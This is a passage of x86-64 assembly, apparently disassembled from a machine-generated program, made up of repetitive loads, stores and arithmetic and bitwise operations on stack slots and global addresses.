mov rcx, qword [rsp + 0x9048]
mov qword [rcx], rax
mov eax, dword [0x14017a4d0]
mov dword [rsp + 0x4344], eax
movsx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0x8930]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xca0], ax
movzx eax, byte [rsp + 0x1f7]
movzx ecx, byte [rsp + 0x1eb]
shl eax, cl
mov rcx, qword [0x14017aa20]
mov byte [rcx], al
mov rax, qword [rsp + 0x81a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc68]
xor eax, ecx
mov rcx, qword [rsp + 0x8370]
mov word [rcx], ax
movzx eax, word [rsp + 0xc84]
mov word [rsp + 0x1378], ax
mov rax, qword [rsp + 0x6c28]
movzx eax, byte [rax]
movzx ecx, byte [0x140179032]
or eax, ecx
mov rcx, qword [rsp + 0x8968]
mov byte [rcx], al
mov rax, qword [rsp + 0x95b0]
mov qword [rsp + 0xaa88], rax
mov rax, qword [rsp + 0x9ce0]
mov rcx, qword [rsp + 0xa088]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6f50]
mov qword [rcx], rax
mov eax, dword [0x140179004]
mov ecx, dword [rsp + 0x42f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c50], eax
mov eax, dword [rsp + 0x3e8c]
mov dword [rsp + 0x4348], eax
movzx eax, word [rsp + 0xd14]
movzx ecx, word [rsp + 0x1028]
add eax, ecx
mov rcx, qword [rsp + 0x7570]
mov word [rcx], ax
lea rax, [rsp + 0x10c8]
mov qword [0x14017ace8], rax
mov rax, qword [rsp + 0x81c0]
movzx eax, byte [rax]
mov byte [rsp + 0x215], al
movsx eax, byte [rsp + 0x1e5]
mov rcx, qword [rsp + 0x7470]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x133], al
lea rax, [rsp + 0xe8c]
mov qword [rsp + 0xaa90], rax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0xa990]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8130], rax
mov rax, qword [rsp + 0x6d88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3cf4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7af0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7800]
mov eax, dword [rax]
mov dword [rsp + 0x434c], eax
mov rax, qword [rsp + 0x8728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa0b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa168], rax
mov rax, qword [rsp + 0x83e8]
movzx eax, byte [rax]
mov byte [rsp + 0x216], al
movzx eax, word [rsp + 0xf30]
movzx ecx, word [rsp + 0x1360]
sub eax, ecx
mov rcx, qword [0x14017a9f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa0c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11a4]
sub eax, ecx
mov rcx, qword [rsp + 0x9540]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6cd0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x99a0]
mov byte [rcx], al
lea rax, [rsp + 0x13e]
mov qword [rsp + 0xaa98], rax
mov rax, qword [rsp + 0xa2e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x108c]
sar eax, cl
mov rcx, qword [rsp + 0x76f8]
mov word [rcx], ax
lea rax, [rsp + 0x4188]
mov qword [rsp + 0xaaa0], rax
mov rax, qword [rsp + 0x7120]
mov rcx, qword [rsp + 0x9140]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x74e8], rax
mov rax, qword [rsp + 0xa768]
mov rcx, qword [rsp + 0x7d60]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa558]
mov qword [rcx], rax
mov eax, dword [rsp + 0x428c]
mov dword [rsp + 0x4350], eax
movzx eax, word [rsp + 0xdb4]
mov word [0x14017acf0], ax
movzx eax, byte [0x140179053]
movzx ecx, byte [rsp + 0x5f]
shl eax, cl
mov rcx, qword [rsp + 0x8918]
mov byte [rcx], al
movzx eax, byte [rsp + 0x160]
mov byte [rsp + 0x217], al
mov rax, qword [rsp + 0x7770]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xee0]
and eax, ecx
mov word [rsp + 0xcec], ax
movzx eax, word [0x140179148]
mov word [rsp + 0x137c], ax
mov rax, qword [rsp + 0x7328]
mov rcx, qword [rsp + 0x9f98]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7050], rax
mov rax, qword [rsp + 0x8240]
mov rcx, qword [rsp + 0x70a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa20], rax
mov rax, qword [rsp + 0x9d48]
mov eax, dword [rax]
mov dword [rsp + 0x4354], eax
mov rax, qword [rsp + 0x8fb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f24], eax
mov rax, qword [rsp + 0xa7f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e]
sub eax, ecx
mov byte [0x1401790ce], al
lea rax, [rsp + 0x1344]
mov qword [rsp + 0xaaa8], rax
movsx eax, byte [rsp + 0x143]
movsx ecx, byte [rsp + 0x1f2]
add eax, ecx
mov byte [rsp + 0x160], al
mov rax, qword [rsp + 0x8280]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8660]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x88c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8568]
movzx eax, byte [rax]
mov byte [rsp + 0x218], al
mov rax, qword [rsp + 0x9f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f84]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7828]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f7c]
mov dword [rsp + 0x4358], eax
mov rax, qword [rsp + 0xa550]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7418]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6be8], rax
mov rax, qword [rsp + 0x8878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x87b8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x87b0], rax
mov rax, qword [rsp + 0x9e10]
movzx eax, word [rax]
mov rcx, qword [0x14017aad8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14017a950]
mov word [rcx], ax
mov rax, qword [rsp + 0x8688]
movzx eax, byte [rax]
mov byte [rsp + 0x219], al
mov rax, qword [rsp + 0x9010]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x176]
or eax, ecx
mov byte [rsp + 0x145], al
lea rax, [rsp + 0xc60]
mov qword [rsp + 0xaab0], rax
movsx eax, byte [0x140179073]
mov rcx, qword [rsp + 0xa968]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x14b], al
mov rax, qword [rsp + 0x8870]
mov rcx, qword [rsp + 0x7d58]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7b90]
mov qword [rcx], rax
lea rax, section..data
mov qword [rsp + 0xaab8], rax
mov rax, qword [rsp + 0xa4e8]
mov rcx, qword [rsp + 0x9b50]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x69b0], rax
lea rax, [rsp + 0x42c4]
mov qword [rsp + 0xaac0], rax
movsx eax, word [rsp + 0x10f8]
mov rcx, qword [0x14017a820]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14017a770], ax
mov rax, qword [rsp + 0x6d68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x86b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6f58]
mov byte [rcx], al
movzx eax, byte [rsp + 0x20f]
mov byte [rsp + 0x21a], al
movzx eax, word [rsp + 0x1110]
movzx ecx, word [rsp + 0xc4c]
sub eax, ecx
mov rcx, qword [rsp + 0x84d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7070]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x125c]
add eax, ecx
mov rcx, qword [rsp + 0x9418]
mov word [rcx], ax
lea rax, [rsp + 0x75e0]
mov qword [rsp + 0xaac8], rax
mov rax, qword [rsp + 0x8c88]
mov rcx, qword [rsp + 0x8d70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7698], rax
mov eax, dword [rsp + 0x4074]
mov dword [rsp + 0x435c], eax
mov rax, qword [rsp + 0xa290]
mov rcx, qword [rsp + 0xaa70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8b10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7a80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
sub eax, ecx
mov byte [0x1401790cf], al
movzx eax, word [rsp + 0xc0c]
mov rcx, qword [rsp + 0x87d0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8750]
mov word [rcx], ax
mov rax, qword [rsp + 0x98c8]
movzx eax, word [rax]
mov word [rsp + 0x1380], ax
movzx eax, byte [rsp + 0x93]
movzx ecx, byte [rsp + 0x204]
shl eax, cl
mov rcx, qword [rsp + 0x71b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9540]
movzx eax, word [rax]
mov word [rsp + 0x1384], ax
mov rax, qword [rsp + 0x7300]
mov rcx, qword [rsp + 0x8d10]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa810], rax
mov eax, dword [rsp + 0x3e7c]
movzx ecx, al
mov eax, dword [section..data]
shr eax, cl
mov dword [rsp + 0x41d0], eax
mov rax, qword [rsp + 0x9b20]
mov eax, dword [rax]
mov dword [rsp + 0x4360], eax
mov rax, qword [rsp + 0xa1f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7760]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8168], rax
lea rax, [rsp + 0xcf]
mov qword [0x14017acf8], rax
movzx eax, word [rsp + 0xe6c]
mov word [rsp + 0x1388], ax
movsx eax, byte [rsp + 0xa5]
movsx ecx, byte [rsp + 0x157]
sub eax, ecx
mov byte [rsp + 0xed], al
movsx eax, byte [rsp + 0xd3]
mov rcx, qword [rsp + 0xa388]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xef], al
movzx eax, byte [rsp + 0xc3]
mov byte [rsp + 0x21b], al
mov rax, qword [rsp + 0x9a88]
mov rcx, qword [rsp + 0x8730]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa4c8]
mov qword [rcx], rax
lea rax, [rsp + 0x3ce0]
mov qword [rsp + 0xaad0], rax
mov rax, qword [rsp + 0x85f8]
mov rcx, qword [rsp + 0x7bc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x70a8]
mov dword [rcx], eax
lea rax, [rsp + 0x9af8]
mov qword [rsp + 0xaad8], rax
mov rax, qword [rsp + 0xa8c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6e78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14017902c], ax
mov rax, qword [rsp + 0x94b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe6]
add eax, ecx
mov rcx, qword [rsp + 0x8428]
mov byte [rcx], al
mov rax, qword [rsp + 0xaab0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa278]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1084], ax
movzx eax, byte [0x14017a4fe]
mov byte [rsp + 0x21c], al
movsx eax, word [rsp + 0x1324]
movsx ecx, word [rsp + 0xeec]
add eax, ecx
mov rcx, qword [rsp + 0x9490]
mov word [rcx], ax
mov rax, qword [rsp + 0xa1f0]
mov rax, qword [rax]
mov qword [rsp + 0xaae0], rax
mov rax, qword [rsp + 0x6cb0]
mov rcx, qword [rsp + 0xa570]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x92a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4220]
mov ecx, dword [rsp + 0x3d08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x430c], eax
lea rax, [rsp + 0x42dc]
mov qword [rsp + 0xaae8], rax
movzx eax, word [rsp + 0x12b4]
movzx ecx, word [rsp + 0x1318]
sub eax, ecx
mov rcx, qword [rsp + 0xa2e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7e40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11b8]
shl eax, cl
mov word [0x140179054], ax
lea rax, [rsp + 0x218]
mov qword [rsp + 0xaaf0], rax
mov rax, qword [rsp + 0x8ae0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd5]
xor eax, ecx
mov rcx, qword [rsp + 0x71b0]
mov byte [rcx], al
movsx eax, word [rsp + 0x127c]
movsx ecx, word [rsp + 0xfd0]
or eax, ecx
mov rcx, qword [rsp + 0xaab0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7a88]
mov qword [rsp + 0xaaf8], rax
mov rax, qword [rsp + 0x7a98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa508]
mov qword [rsp + 0xab00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xab00]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa758], rax
mov rax, qword [rsp + 0x72d0]
mov eax, dword [rax]
mov dword [rsp + 0x4364], eax
mov eax, dword [rsp + 0x3d20]
mov ecx, dword [rsp + 0x3cdc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ee8], eax
movzx eax, byte [0x14017a55a]
mov byte [rsp + 0x21d], al
lea rax, [rsp + 0x157]
mov qword [0x14017ad00], rax
movzx eax, byte [rsp + 0x177]
mov rcx, qword [rsp + 0x75a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1bc], al
mov rax, qword [rsp + 0xa3c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x175], al
movzx eax, word [rsp + 0x12d4]
mov word [rsp + 0x138c], ax
mov rax, qword [rsp + 0x91d8]
mov rcx, qword [rsp + 0x8350]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6f90], rax
lea rax, [rsp + 0x9fe0]
mov qword [rsp + 0xab08], rax
mov rax, qword [rsp + 0x8348]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9400]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4050]
mov ecx, dword [rsp + 0x41e0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9830]
mov dword [rcx], eax
mov rax, qword [0x14017aca8]
movzx eax, word [rax]
mov word [rsp + 0x1390], ax
lea rax, [rsp + 0x159]
mov qword [0x14017ad08], rax
mov rax, qword [rsp + 0xa8e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x117c]
add eax, ecx
mov word [rsp + 0xf18], ax
lea rax, [rsp + 0x70]
mov qword [rsp + 0xab10], rax
movzx eax, word [rsp + 0xe78]
mov rcx, qword [rsp + 0x7048]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf2c], ax
mov rax, qword [rsp + 0x85e0]
mov rcx, qword [rsp + 0x6c88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9228], rax
mov rax, qword [rsp + 0x6af8]
mov eax, dword [rax]
mov dword [rsp + 0x4368], eax
mov rax, qword [rsp + 0x9bd0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa7c8]
mov qword [rsp + 0xab18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xab18]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3c70], eax
mov rax, qword [rsp + 0xa008]
mov rax, qword [rax]
mov qword [rsp + 0xab20], rax
mov rax, qword [rsp + 0xa7d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9eb0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xc7], al
movzx eax, word [rsp + 0x111c]
mov rcx, qword [rsp + 0x82d8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14017ac40]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe9]
movsx ecx, byte [rsp + 0x53]
xor eax, ecx
mov rcx, qword [rsp + 0x92b8]
mov byte [rcx], al
mov rax, qword [0x14017a8e0]
movzx eax, word [rax]
mov word [rsp + 0x1394], ax
mov rax, qword [rsp + 0xaa00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8e58]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa2f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9a78]
movzx eax, byte [rax]
mov byte [rsp + 0x21e], al
mov rax, qword [rsp + 0x8ef0]
mov ecx, dword [0x140179004]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6d40]
mov dword [rcx], eax
lea rax, [rsp + 0x4050]
mov qword [rsp + 0xab28], rax
mov rax, qword [rsp + 0x8060]
mov rcx, qword [rsp + 0x7630]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9f98], rax
mov rax, qword [rsp + 0x7c28]
mov rcx, qword [rsp + 0x6ca0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9be8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8750]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11ec]
add eax, ecx
mov word [0x140179194], ax
mov rax, qword [rsp + 0x6fe8]
movzx eax, byte [rax]
mov byte [rsp + 0x21f], al
movsx eax, word [0x14017acc0]
movsx ecx, word [rsp + 0x1054]
and eax, ecx
mov rcx, qword [rsp + 0xa038]
mov word [rcx], ax
movzx eax, byte [rsp + 0x214]
mov byte [rsp + 0x220], al
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xd60]
imul eax, ecx
mov rcx, qword [rsp + 0x76d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7b98]
mov ecx, dword [rsp + 0x3be4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d8c], eax
mov eax, dword [rsp + 0x4134]
mov dword [rsp + 0x436c], eax
mov rax, qword [rsp + 0x85c0]
mov rcx, qword [rsp + 0xa900]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8bc8], rax
lea rax, [rsp + 0x9bb8]
mov qword [rsp + 0xab30], rax
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov byte [0x14017a4fe], al
mov rax, qword [rsp + 0x93f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8000]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8900]
mov word [rcx], ax
movzx eax, byte [0x1401790ce]
movzx ecx, byte [rsp + 0x58]
sar eax, cl
mov byte [rsp + 0x1a5], al
movzx eax, word [rsp + 0xd10]
mov word [rsp + 0x1398], ax
movsx eax, byte [rsp + 0x19f]
mov rcx, qword [rsp + 0x9630]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8270]
mov eax, dword [rax]
mov dword [rsp + 0x4370], eax
mov rax, qword [rsp + 0x7e08]
mov rcx, qword [rsp + 0x6ef0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7318], rax
mov rax, qword [rsp + 0xa2d0]
mov qword [rsp + 0xab38], rax
mov eax, dword [rsp + 0x3e3c]
mov rcx, qword [rsp + 0x9f40]
mov qword [rsp + 0xab40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xab40]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3f2c], eax
mov rax, qword [rsp + 0xa6e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [0x140179130], ax
movsx eax, word [rsp + 0xd3c]
mov rcx, qword [0x14017ab78]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa8a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8090]
movzx eax, word [rax]
mov word [rsp + 0x139c], ax
mov rax, qword [rsp + 0x9150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7838]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe2], al
movzx eax, byte [rsp + 0x14d]
mov byte [rsp + 0x221], al
mov rax, qword [rsp + 0x7790]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cb4], eax
mov rax, qword [rsp + 0xa700]
mov rcx, qword [rsp + 0x88a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c0c], eax
mov rax, qword [0x140179010]
mov qword [rsp + 0xab48], rax
mov rax, qword [rsp + 0x9ca0]
mov rcx, qword [rsp + 0x7078]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6e20], rax
lea rax, [rsp + 0x1024]
mov qword [0x14017ad10], rax
mov rax, qword [rsp + 0x78e0]
movzx eax, word [rax]
mov word [rsp + 0x13a0], ax
movsx eax, byte [rsp + 0x208]
mov rcx, qword [rsp + 0xa970]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x72f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9b10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c0]
and eax, ecx
mov rcx, qword [rsp + 0x9840]
mov byte [rcx], al
lea rax, [rsp + 0x141]
mov qword [rsp + 0xab50], rax
mov rax, qword [rsp + 0x9118]
mov rcx, qword [rsp + 0x7718]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x87e0]
mov dword [rcx], eax
lea rax, [rsp + 0x7fa8]
mov qword [rsp + 0xab58], rax
mov rax, qword [rsp + 0xa2a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8420]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d80]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3d6c]
mov ecx, dword [rsp + 0x40c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4238], eax
lea rax, [rsp + 0x161]
mov qword [0x14017ad18], rax
movzx eax, word [rsp + 0x115c]
mov word [rsp + 0x13a4], ax
mov rax, qword [0x14017aa00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7f18]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8a80]
mov word [rcx], ax
lea rax, [rsp + 0x1ba]
mov qword [rsp + 0xab60], rax
mov rax, qword [rsp + 0x7a60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa670]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xd60], ax
lea rax, [rsp + 0x7690]
mov qword [rsp + 0xab68], rax
mov rax, qword [rsp + 0x80e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x79e0]
mov qword [rsp + 0xab70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xab70]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8708], rax
mov eax, dword [rsp + 0x3c78]
movzx ecx, al
mov eax, dword [rsp + 0x405c]
sar eax, cl
mov rcx, qword [rsp + 0xa098]
mov dword [rcx], eax
lea rax, [rsp + 0x4250]
mov qword [rsp + 0xab78], rax
movsx eax, byte [rsp + 0x217]
movsx ecx, byte [rsp + 0x106]
and eax, ecx
mov byte [0x14017a63f], al
mov rax, qword [rsp + 0xa6e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa3f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc24], ax
lea rax, [rsp + 0x90]
mov qword [rsp + 0xab80], rax
movsx eax, word [rsp + 0xd38]
movsx ecx, word [rsp + 0xe18]
sub eax, ecx
mov word [rsp + 0xf4c], ax
mov rax, qword [rsp + 0x86d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f9]
sub eax, ecx
mov rcx, qword [rsp + 0xa388]
mov byte [rcx], al
mov rax, qword [rsp + 0x9b38]
mov qword [rsp + 0xab88], rax
mov rax, qword [rsp + 0x91c0]
mov rcx, qword [rsp + 0x9c68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4288], eax
lea rax, [rsp + 0x95a0]
mov qword [rsp + 0xab90], rax
mov eax, dword [rsp + 0x3e10]
mov ecx, dword [rsp + 0x3ff0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ee4], eax
movzx eax, word [rsp + 0x1144]
mov word [0x14017ad20], ax
movsx eax, byte [rsp + 0x10c]
mov rcx, qword [rsp + 0x96b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9f60]
mov byte [rcx], al
mov rax, qword [0x14017a9e0]
movzx eax, word [rax]
mov word [rsp + 0x13a8], ax
mov rax, qword [rsp + 0x8a10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf90]
imul eax, ecx
mov word [rsp + 0xf54], ax
movzx eax, byte [rsp + 0x16a]
mov byte [rsp + 0x222], al
mov eax, dword [0x140179004]
mov ecx, dword [rsp + 0x3c98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fe0], eax
mov rax, qword [rsp + 0x72f0]
mov ecx, dword [rsp + 0x3cac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7fd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8678]
mov rax, qword [rax]
mov qword [rsp + 0xab98], rax
mov rax, qword [rsp + 0x9818]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ab8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f08], rax
movzx eax, word [rsp + 0xff8]
mov word [rsp + 0x13ac], ax
movsx eax, byte [rsp + 0x1e6]
movsx ecx, byte [rsp + 0xa9]
xor eax, ecx
mov byte [str.zb_tb], al
movzx eax, byte [rsp + 0xe2]
movzx ecx, byte [rsp + 0x147]
shl eax, cl
mov rcx, qword [rsp + 0x8fa8]
mov byte [rcx], al
lea rax, [rsp + 0xde8]
mov qword [rsp + 0xaba0], rax
movsx eax, word [rsp + 0x10a4]
movsx ecx, word [rsp + 0x101c]
sar eax, cl
mov rcx, qword [rsp + 0x7cb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f48]
mov rcx, qword [rsp + 0x9e70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7410]
mov qword [rcx], rax
mov rax, qword [rsp + 0x85d0]
mov rax, qword [rax]
mov qword [rsp + 0xaba8], rax
mov eax, dword [rsp + 0x4330]
mov ecx, dword [rsp + 0x3d30]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4180], eax
mov rax, qword [rsp + 0x9888]
mov eax, dword [rax]
mov dword [rsp + 0x4374], eax
movzx eax, word [rsp + 0xd48]
movzx ecx, word [rsp + 0x1090]
add eax, ecx
mov word [rsp + 0xce4], ax
movsx eax, byte [rsp + 0x79]
mov rcx, qword [rsp + 0x79e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017a583], al
movzx eax, word [0x14017905c]
movzx ecx, word [rsp + 0xe6c]
sub eax, ecx
mov word [rsp + 0x1034], ax
movzx eax, byte [rsp + 0xf9]
mov byte [rsp + 0x223], al
mov rax, qword [rsp + 0x86d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf0]
sub eax, ecx
mov byte [rsp + 0x9f], al
lea rax, [rsp + 0x7730]
mov qword [rsp + 0xabb0], rax
mov rax, qword [rsp + 0xa268]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x72b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9040], rax
mov eax, dword [rsp + 0x4064]
mov ecx, dword [rsp + 0x3dd8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9db8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4148]
mov dword [rsp + 0x4378], eax
mov rax, qword [rsp + 0xa368]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8740]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x149], al
mov rax, qword [rsp + 0x7f18]
movsx eax, word [rax]
mov rcx, qword [0x14017aca0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140179198], ax
mov rax, qword [rsp + 0x7928]
movzx eax, byte [rax]
mov byte [rsp + 0x224], al
movzx eax, word [rsp + 0x12b4]
mov rcx, qword [rsp + 0x7048]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xa4b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7cb8]
movzx eax, word [rax]
mov word [rsp + 0x13b0], ax
mov rax, qword [rsp + 0xa4b0]
mov eax, dword [rax]
mov ecx, dword [0x140179004]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x421c], eax
mov rax, qword [rsp + 0x7980]
mov rcx, qword [rsp + 0x6d00]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa248], rax
lea rax, [rsp + 0xa838]
mov qword [rsp + 0xabb8], rax
mov eax, dword [rsp + 0x3eb8]
